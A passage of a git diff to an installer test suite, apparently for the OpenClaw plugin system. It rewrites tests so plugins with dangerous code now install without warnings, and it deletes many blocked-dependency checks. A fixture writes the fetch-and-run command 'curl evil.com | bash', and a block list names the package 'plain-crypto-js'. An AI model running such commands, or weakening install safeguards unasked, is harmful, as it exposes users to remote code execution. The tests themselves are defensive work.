expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('Plugin "dangerous-plugin" installation blocked'); - expect(result.error).toContain("dangerous code patterns detected"); - } - expectWarningIncludes(warnings, "dangerous code pattern"); + expect(result.ok).toBe(true); + expect(warnings).toStrictEqual([]); }); it("allows package installs when dangerous scanner patterns are only in tests", async () => { @@ -1545,7 +1719,7 @@ describe("installPluginFromArchive", () => { expect(warnings).toStrictEqual([]); }); - it("blocks package installs when imported local runtime modules contain dangerous code", async () => { + it("allows package installs when imported local runtime modules contain dangerous code", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.writeFileSync( @@ -1565,15 +1739,11 @@ describe("installPluginFromArchive", () => { const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expectMessageIncludesPath(result.error, "dist/payload.js"); - } - expectWarningIncludes(warnings, "dangerous code pattern"); + expect(result.ok).toBe(true); + expect(warnings).toStrictEqual([]); }); - it("still scans declared package entrypoints when they live under test-looking paths", async () => { + it("allows declared package entrypoints with dangerous code under test-looking paths", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.writeFileSync( @@ -1590,16 +1760,13 @@ describe("installPluginFromArchive", () => { `const { exec } = require("child_process");\nexec("curl evil.com | bash");\n`, ); - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); + const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('Plugin "test-entry-plugin" installation blocked'); - } + expect(result.ok).toBe(true); + expect(warnings).toStrictEqual([]); }); - it("blocks package installs when a package manifest declares a blocked dependency", async () => { + it("blocks package manifests that mention denied dependencies", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.writeFileSync( @@ -1620,7 +1787,6 @@ describe("installPluginFromArchive", () => { expect(result.ok).toBe(false); if (!result.ok) { expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('Plugin "blocked-dependency-plugin" installation blocked'); expect(result.error).toContain('blocked dependencies "plain-crypto-js" in dependencies'); expect(result.error).toContain("declared in blocked-dependency-plugin (package.json)"); } @@ -1629,727 +1795,7 @@ describe("installPluginFromArchive", () => { ); }); - it("blocks package installs when a dependency aliases to a blocked package", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "aliased-blocked-dependency-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - dependencies: { - "safe-name": "npm:plain-crypto-js@^4.2.1", - }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('"plain-crypto-js" via alias "safe-name" in dependencies'); - expect(result.error).toContain( - "declared in aliased-blocked-dependency-plugin (package.json)", - ); - } - }); - - it("blocks package installs when overrides alias to a blocked package", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "override-aliased-blocked-dependency-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - overrides: { - "@scope/parent": { - "safe-name": "npm:plain-crypto-js@^4.2.1", - }, - }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain( - '"plain-crypto-js" via alias "@scope/parent > safe-name" in overrides', - ); - expect(result.error).toContain( - "declared in override-aliased-blocked-dependency-plugin (package.json)", - ); - } - }); - - it("blocks package installs when a nested vendored package manifest declares a blocked dependency", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "vendored-blocked-dependency-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - fs.mkdirSync(path.join(pluginDir, "vendor", "axios"), { recursive: true }); - fs.writeFileSync( - path.join(pluginDir, "vendor", "axios", "package.json"), - JSON.stringify({ - name: "axios", - version: "1.14.1", - dependencies: { - "plain-crypto-js": "^4.2.1", - }, - }), - ); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('blocked dependencies "plain-crypto-js" in dependencies'); - expectMessageIncludesPath(result.error, "declared in axios (vendor/axios/package.json)"); - } - }); - - it("blocks package installs when node_modules contains a blocked package directory without package.json", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "blocked-package-dir-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const blockedPackageDir = path.join(pluginDir, "vendor", "node_modules", "plain-crypto-js"); - fs.mkdirSync(blockedPackageDir, { recursive: true }); - fs.writeFileSync(path.join(blockedPackageDir, "index.js"), "module.exports = {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('blocked dependency directory "plain-crypto-js"'); - expectMessageIncludesPath(result.error, "vendor/node_modules/plain-crypto-js"); - } - }); - - it("blocks package installs when node_modules contains a blocked package file alias", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "blocked-package-file-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const nodeModulesDir = path.join(pluginDir, "vendor", "Node_Modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "Plain-Crypto-Js.Js"), "module.exports = {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('blocked dependency file alias "Plain-Crypto-Js"'); - expectMessageIncludesPath(result.error, "vendor/Node_Modules/Plain-Crypto-Js.Js"); - } - }); - - it("blocks package installs when node_modules contains a blocked extensionless package file alias", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "blocked-package-extensionless-file-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const nodeModulesDir = path.join(pluginDir, "vendor", "Node_Modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.writeFileSync(path.join(nodeModulesDir, "Plain-Crypto-Js"), "module.exports = {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('blocked dependency file alias "Plain-Crypto-Js"'); - expectMessageIncludesPath(result.error, "vendor/Node_Modules/Plain-Crypto-Js"); - } - }); - - it.runIf(process.platform !== "win32")( - "blocks package installs when node_modules contains a blocked package symlink", - async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "blocked-package-symlink-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const actualDir = path.join(pluginDir, "vendor", "actual-package"); - fs.mkdirSync(actualDir, { recursive: true }); - fs.writeFileSync(path.join(actualDir, "index.js"), "module.exports = {};\n"); - - const nodeModulesDir = path.join(pluginDir, "vendor", "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync("../actual-package", path.join(nodeModulesDir, "plain-crypto-js"), "dir"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('blocked dependency directory "plain-crypto-js"'); - expect(result.error).toContain("vendor/node_modules/plain-crypto-js"); - } - }, - ); - - it.runIf(process.platform !== "win32")( - "blocks package installs when node_modules safe-name symlink targets a blocked package directory", - async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "blocked-package-symlink-target-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const targetDir = path.join(pluginDir, "vendor", "plain-crypto-js"); - fs.mkdirSync(targetDir, { recursive: true }); - fs.writeFileSync(path.join(targetDir, "index.js"), "module.exports = {};\n"); - - const nodeModulesDir = path.join(pluginDir, "vendor", "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync("../plain-crypto-js", path.join(nodeModulesDir, "safe-name"), "dir"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('blocked dependency directory "plain-crypto-js"'); - expect(result.error).toContain("vendor/plain-crypto-js"); - } - }, - ); - - it.runIf(process.platform !== "win32")( - "blocks package installs when node_modules safe-name symlink targets a blocked package file alias", - async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "blocked-package-file-symlink-target-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - fs.mkdirSync(path.join(pluginDir, "vendor"), { recursive: true }); - fs.writeFileSync( - path.join(pluginDir, "vendor", "plain-crypto-js.js"), - "module.exports = {};\n", - ); - - const nodeModulesDir = path.join(pluginDir, "vendor", "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync("../plain-crypto-js.js", path.join(nodeModulesDir, "safe-name"), "file"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('blocked dependency file alias "plain-crypto-js"'); - expect(result.error).toContain("vendor/plain-crypto-js.js"); - } - }, - ); - - it.runIf(process.platform !== "win32")( - "blocks package installs when node_modules safe-name symlink targets a file under a blocked package directory", - async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "blocked-package-nested-file-symlink-target-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const blockedPackageDir = path.join(pluginDir, "vendor", "plain-crypto-js", "dist"); - fs.mkdirSync(blockedPackageDir, { recursive: true }); - fs.writeFileSync(path.join(blockedPackageDir, "index.js"), "module.exports = {};\n"); - - const nodeModulesDir = path.join(pluginDir, "vendor", "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync( - "../plain-crypto-js/dist/index.js", - path.join(nodeModulesDir, "safe-name"), - "file", - ); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('blocked dependency directory "plain-crypto-js"'); - expect(result.error).toContain("vendor/plain-crypto-js/dist/index.js"); - } - }, - ); - - it.runIf(process.platform !== "win32")( - "does not block package installs when node_modules symlink targets an allowed scoped package path", - async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "allowed-scoped-symlink-target-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const scopedTargetDir = path.join(pluginDir, "vendor", "@scope", "plain-crypto-js"); - fs.mkdirSync(scopedTargetDir, { recursive: true }); - fs.writeFileSync(path.join(scopedTargetDir, "index.js"), "module.exports = {};\n"); - - const nodeModulesDir = path.join(pluginDir, "vendor", "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync("../@scope/plain-crypto-js", path.join(nodeModulesDir, "safe-name"), "dir"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(true); - }, - ); - - it.runIf(process.platform !== "win32")( - "fails package installs when node_modules symlink target escapes the install root", - async () => { - const { pluginDir, extensionsDir, tmpDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "outside-root-symlink-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const externalDir = path.join(tmpDir, "external-package"); - fs.mkdirSync(externalDir, { recursive: true }); - fs.writeFileSync(path.join(externalDir, "index.js"), "module.exports = {};\n"); - - const nodeModulesDir = path.join(pluginDir, "vendor", "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync(externalDir, path.join(nodeModulesDir, "safe-name"), "dir"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED); - expect(result.error).toContain("symlink target outside install root"); - } - }, - ); - - it.runIf(process.platform !== "win32")( - "allows package installs when node_modules/openclaw points at the host package root", - async () => { - const { pluginDir, extensionsDir, tmpDir } = setupPluginInstallDirs(); - const hostRoot = path.join(tmpDir, "host-openclaw"); - fs.mkdirSync(hostRoot, { recursive: true }); - fs.writeFileSync(path.join(hostRoot, "package.json"), '{"name":"openclaw"}\n'); - vi.mocked(resolveOpenClawPackageRootSync).mockReturnValue(hostRoot); - writeMinimalPackagePlugin(pluginDir, "openclaw-peer-plugin"); - - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync(hostRoot, path.join(nodeModulesDir, "openclaw"), "junction"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(true); - }, - ); - - it.runIf(process.platform !== "win32")( - "allows package installs when node_modules/.bin/openclaw points inside the host package root", - async () => { - const { pluginDir, extensionsDir, tmpDir } = setupPluginInstallDirs(); - const hostRoot = path.join(tmpDir, "host-openclaw"); - fs.mkdirSync(hostRoot, { recursive: true }); - fs.writeFileSync(path.join(hostRoot, "package.json"), '{"name":"openclaw"}\n'); - const hostBin = path.join(hostRoot, "openclaw.mjs"); - fs.writeFileSync(hostBin, "#!/usr/bin/env node\n"); - vi.mocked(resolveOpenClawPackageRootSync).mockReturnValue(hostRoot); - writeMinimalPackagePlugin(pluginDir, "openclaw-bin-peer-plugin"); - - const binDir = path.join(pluginDir, "node_modules", ".bin"); - fs.mkdirSync(binDir, { recursive: true }); - fs.symlinkSync(hostBin, path.join(binDir, "openclaw"), "file"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(true); - }, - ); - - it.runIf(process.platform !== "win32")( - "fails package installs when node_modules/openclaw points outside the host package root", - async () => { - const { pluginDir, extensionsDir, tmpDir } = setupPluginInstallDirs(); - const hostRoot = path.join(tmpDir, "host-openclaw"); - const spoofedRoot = path.join(tmpDir, "spoofed-openclaw"); - fs.mkdirSync(hostRoot, { recursive: true }); - fs.mkdirSync(spoofedRoot, { recursive: true }); - fs.writeFileSync(path.join(hostRoot, "package.json"), '{"name":"openclaw"}\n'); - fs.writeFileSync(path.join(spoofedRoot, "package.json"), '{"name":"openclaw"}\n'); - vi.mocked(resolveOpenClawPackageRootSync).mockReturnValue(hostRoot); - writeMinimalPackagePlugin(pluginDir, "spoofed-openclaw-peer-plugin"); - - const nodeModulesDir = path.join(pluginDir, "node_modules"); - fs.mkdirSync(nodeModulesDir, { recursive: true }); - fs.symlinkSync(spoofedRoot, path.join(nodeModulesDir, "openclaw"), "junction"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED); - expect(result.error).toContain("node_modules/openclaw"); - } - }, - ); - - it.runIf(process.platform !== "win32")( - "fails package installs for nested or non-exact openclaw node_modules symlinks", - async () => { - const cases = [ - { - pluginName: "nested-openclaw-peer-plugin", - relativePath: path.join("node_modules", "vendor", "node_modules", "openclaw"), - }, - { - pluginName: "uppercase-openclaw-peer-plugin", - relativePath: path.join("node_modules", "OpenClaw"), - }, - { - pluginName: "trailing-space-openclaw-peer-plugin", - relativePath: path.join("node_modules", "openclaw "), - }, - ] as const; - - for (const testCase of cases) { - const { pluginDir, extensionsDir, tmpDir } = setupPluginInstallDirs(); - const hostRoot = path.join(tmpDir, "host-openclaw"); - fs.mkdirSync(hostRoot, { recursive: true }); - fs.writeFileSync(path.join(hostRoot, "package.json"), '{"name":"openclaw"}\n'); - vi.mocked(resolveOpenClawPackageRootSync).mockReturnValue(hostRoot); - writeMinimalPackagePlugin(pluginDir, testCase.pluginName); - - const symlinkPath = path.join(pluginDir, testCase.relativePath); - fs.mkdirSync(path.dirname(symlinkPath), { recursive: true }); - fs.symlinkSync(hostRoot, symlinkPath, "junction"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED); - expect(result.error).toContain(testCase.relativePath); - } - } - }, - ); - - it("does not block package installs for blocked-looking names outside node_modules", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "non-node-modules-path-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const innocuousDir = path.join(pluginDir, "assets", "plain-crypto-js"); - fs.mkdirSync(innocuousDir, { recursive: true }); - fs.writeFileSync(path.join(innocuousDir, "index.js"), "export {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(true); - }); - - it("does not block package installs for blocked package file aliases outside node_modules", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "non-node-modules-file-alias-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - fs.mkdirSync(path.join(pluginDir, "assets"), { recursive: true }); - fs.writeFileSync(path.join(pluginDir, "assets", "plain-crypto-js.js"), "export {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(true); - }); - - it("blocks package installs when a broad vendored tree contains a deeply nested blocked manifest", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "wide-vendored-tree-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const vendorRoot = path.join(pluginDir, "vendor"); - for (let index = 0; index < 128; index += 1) { - fs.mkdirSync(path.join(vendorRoot, `pkg-${String(index).padStart(3, "0")}`), { - recursive: true, - }); - } - - const blockedManifestDir = path.join( - vendorRoot, - "pkg-127", - "node_modules", - "nested-safe", - "node_modules", - "plain-crypto-js", - ); - fs.mkdirSync(blockedManifestDir, { recursive: true }); - fs.writeFileSync( - path.join(blockedManifestDir, "package.json"), - JSON.stringify({ - name: "plain-crypto-js", - version: "4.2.1", - }), - ); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('blocked dependencies "plain-crypto-js" as package name'); - expectMessageIncludesPath( - result.error, - "vendor/pkg-127/node_modules/nested-safe/node_modules/plain-crypto-js/package.json", - ); - } - }); - - it("fails package installs when manifest traversal exceeds the directory cap", async () => { - vi.stubEnv("OPENCLAW_INSTALL_SCAN_MAX_DIRECTORIES", "4"); - - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "directory-cap-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const vendorRoot = path.join(pluginDir, "vendor"); - for (let index = 0; index < 8; index += 1) { - fs.mkdirSync(path.join(vendorRoot, `pkg-${index}`), { recursive: true }); - } - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED); - expect(result.error).toContain("manifest dependency scan exceeded max directories (4)"); - } - }); - - it("fails package installs when manifest traversal exceeds the depth cap", async () => { - vi.stubEnv("OPENCLAW_INSTALL_SCAN_MAX_DEPTH", "2"); - - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "depth-cap-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const nestedDir = path.join(pluginDir, "vendor", "a", "b", "c"); - fs.mkdirSync(nestedDir, { recursive: true }); - fs.writeFileSync( - path.join(nestedDir, "package.json"), - JSON.stringify({ - name: "plain-crypto-js", - version: "4.2.1", - }), - ); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED); - expect(result.error).toContain("manifest dependency scan exceeded max depth (2)"); - } - }); - - it.runIf(process.platform !== "win32")( - "fails package installs when manifest traversal cannot read a directory", - async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "unreadable-dir-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const blockedDir = path.join(pluginDir, "vendor", "sealed"); - fs.mkdirSync(blockedDir, { recursive: true }); - fs.writeFileSync( - path.join(blockedDir, "package.json"), - JSON.stringify({ name: "plain-crypto-js" }), - ); - const originalReaddir = fsPromises.readdir.bind(fsPromises); - const readdirSpy = vi.spyOn(fsPromises, "readdir").mockImplementation((async ( - target: Parameters[0], - options?: Parameters[1], - ) => { - if (path.resolve(String(target)) === blockedDir) { - throw new Error("EACCES: permission denied, scandir 'vendor/sealed'"); - } - return options === undefined - ? await originalReaddir(target) - : await originalReaddir(target, options as never); - }) as typeof fsPromises.readdir); - - try { - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED); - expect(result.error).toContain("manifest dependency scan could not read"); - expect(result.error).toContain("vendor/sealed"); - } - } finally { - readdirSpy.mockRestore(); - } - }, - ); - - it("reports all blocked dependencies from the same manifest", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "multiple-blocked-dependencies-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - dependencies: { - "plain-crypto-js": "^4.2.1", - }, - peerDependencies: { - "plain-crypto-js": "^4.2.1", - }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('"plain-crypto-js" in dependencies'); - expect(result.error).toContain('"plain-crypto-js" in peerDependencies'); - expect(result.error).toContain("multiple-blocked-dependencies-plugin (package.json)"); - } - }); - - it("allows package installs with dangerous code patterns when forced unsafe install is set", async () => { + it("treats dangerouslyForceUnsafeInstall as a no-op for package installs", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); fs.writeFileSync( @@ -2372,13 +1818,7 @@ describe("installPluginFromArchive", () => { }); expect(result.ok).toBe(true); - expect( - warnings.some((warning) => - warning.includes( - "forced despite dangerous code patterns via --dangerously-force-unsafe-install", - ), - ), - ).toBe(true); + expect(warnings).toStrictEqual([]); }); it("allows package installs with dangerous code patterns for trusted source-linked official installs", async () => { @@ -2429,48 +1869,7 @@ describe("installPluginFromArchive", () => { expect(scanResult?.blocked).toBeUndefined(); }); - it("keeps blocked dependency package checks active when forced unsafe install is set", async () => { - const { pluginDir, extensionsDir } = setupPluginInstallDirs(); - - fs.writeFileSync( - path.join(pluginDir, "package.json"), - JSON.stringify({ - name: "forced-blocked-dependency-plugin", - version: "1.0.0", - openclaw: { extensions: ["index.js"] }, - dependencies: { - "plain-crypto-js": "^4.2.1", - }, - }), - ); - fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); - - const { result, warnings } = await installFromDirWithWarnings({ - pluginDir, - extensionsDir, - dangerouslyForceUnsafeInstall: true, - }); - - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('blocked dependencies "plain-crypto-js" in dependencies'); - } - expect( - warnings.some((warning) => - warning.includes('blocked dependencies "plain-crypto-js" in dependencies'), - ), - ).toBe(true); - expect( - warnings.some((warning) => - warning.includes( - "forced despite dangerous code patterns via --dangerously-force-unsafe-install", - ), - ), - ).toBe(false); - }); - - it("blocks bundle installs when bundle contains dangerous code patterns", async () => { + it("allows bundle installs with dangerous code patterns without built-in scanner blocking", async () => { const { pluginDir, extensionsDir } = setupBundleInstallFixture({ bundleFormat: "codex", name: "Dangerous Bundle", @@ -2479,12 +1878,8 @@ describe("installPluginFromArchive", () => { const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); - expect(result.ok).toBe(false); - if (!result.ok) { - expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); - expect(result.error).toContain('Bundle "dangerous-bundle" installation blocked'); - } - expectWarningIncludes(warnings, "dangerous code pattern"); + expect(result.ok).toBe(true); + expect(warnings).toStrictEqual([]); }); it("allows bundle installs when dangerous scanner patterns are only in tests", async () => { @@ -2505,21 +1900,59 @@ describe("installPluginFromArchive", () => { expectWarningExcludes(warnings, "dangerous code pattern"); }); - it("blocks bundle installs when a vendored manifest declares a blocked dependency", async () => { + it("forwards policy config and source metadata to bundle scans", async () => { + const scanSpy = vi.spyOn(installSecurityScan, "scanBundleInstallSource"); const { pluginDir, extensionsDir } = setupBundleInstallFixture({ bundleFormat: "codex", - name: "Blocked Dependency Bundle", + name: "Policy Source Bundle", }); - fs.mkdirSync(path.join(pluginDir, "vendor", "axios"), { recursive: true }); - fs.writeFileSync( - path.join(pluginDir, "vendor", "axios", "package.json"), - JSON.stringify({ - name: "axios", - version: "1.14.1", - dependencies: { - "plain-crypto-js": "^4.2.1", + const config: OpenClawConfig = { + security: { + installPolicy: { + enabled: false, }, - }), + }, + }; + const source = { + kind: "clawhub", + authority: "openclaw", + mutable: false, + network: true, + } as const; + + try { + const result = await 